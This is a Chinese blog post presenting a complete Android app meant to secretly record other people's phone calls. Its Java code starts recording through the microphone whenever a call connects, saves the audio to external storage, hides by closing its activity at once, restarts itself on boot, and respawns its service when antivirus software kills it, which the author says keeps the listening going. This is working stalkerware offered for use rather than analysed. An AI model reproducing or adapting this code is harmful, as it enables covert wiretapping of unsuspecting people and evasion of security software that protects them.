美文网首页
Android来一发监听别人通话内容的App

Android来一发监听别人通话内容的App

作者: 那个唐僧 | 来源:发表于2018-01-03 17:31 被阅读94次

原理

在别人接打电话的过程中,进行录音.继而将录音保存在本地...

知识点

1,Service
2,BroadcastReceiver
3,TelephonyManager
4,MediaRecorder

实现

public class MyService extends Service {
    private MediaRecorder mMediaRecorder;
    private TelephonyManager telephonyManager;
    private MyListener myListener;

    @Override
    public void onCreate() {
        telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
        myListener = new MyListener();
        telephonyManager.listen(myListener, PhoneStateListener.LISTEN_CALL_STATE);
        super.onCreate();
    }

    @Override
    public void onDestroy() {
        telephonyManager.listen(myListener, PhoneStateListener.LISTEN_NONE);
        myListener = null;
        Intent intent = new Intent();
        intent.setAction("com.scc.service1");
        intent.setPackage(getPackageName());
        startService(intent);
        super.onDestroy();
    }

    private class MyListener extends PhoneStateListener {
        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            switch (state) {
                case TelephonyManager.CALL_STATE_IDLE:
                    if (mMediaRecorder != null) {
                        mMediaRecorder.stop();
                        mMediaRecorder.release();
                        mMediaRecorder = null;
                        Log.i("123", "录制完毕..");
                    }
                    break;
                case TelephonyManager.CALL_STATE_OFFHOOK:
                    //1,实例化一个录音机
                    mMediaRecorder = new MediaRecorder();
                    //2,指定录音机的声音源
                    mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                    //3,设置录制文件的输出格式
                    mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
                    //4,指定输出的位置
                    File file = new File(Environment.getExternalStorageDirectory(), System.currentTimeMillis() + ".3gp");
                    mMediaRecorder.setOutputFile(file.getAbsolutePath());
                    //5.音频的编码
                    mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
                    //6,准备录音
                    try {
                        mMediaRecorder.prepare();
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                    //7,开始录音
                    mMediaRecorder.start();
                    Log.e("123", "开始录音...");
                    break;
            }
        }
    }
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }
}

在MyService 中进行telephonyManager 的初始化...对PhoneStateListener 进行实现并且监听手机状态...
如果电话目前是空闲状态将录音进行停止,并且释放资源
如果电话目前是通话状态进行录音,并且保存在本地...
在MainActivity当中只需要启动服务即可

protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
//        setContentView(R.layout.activity_main);
        Intent intent = new Intent();
        intent.setAction("com.scc.service");
        intent.setPackage(getPackageName());
        startService(intent);
        finish();
    }

BroadcastReceiver中只需要在手机启动的时候进行监听广播,然后启动service即可

public void onReceive(Context context, Intent intent) {
        Intent intent1 = new Intent();
        intent1.setAction("com.scc.service");
        intent1.setPackage(context.getPackageName());
        context.startService(intent1);
    }

如何保证此监听别人打电话的程序不被杀死

1,在手机启动时BroadcastReceiver监听启动之后..进行service的启动来保证后台服务可以一直持续的进行下去
2,在各种杀毒软件杀掉service服务的时候此时我们的内心是崩溃的...因为我们的service被kill掉了...但是没有关系.在死掉的前一秒会有回光返照的...在死之前重新再启动一个相同的一模一样的service1..在service1即将要死的时候我们在启动service...如此饥渴保证总有service在后台监听着别人打电话的通话内容....
3...如此...即可...

相关文章

网友评论

      本文标题:Android来一发监听别人通话内容的App

      本文链接:https://www.haomeiwen.com/subject/oafknxtx.html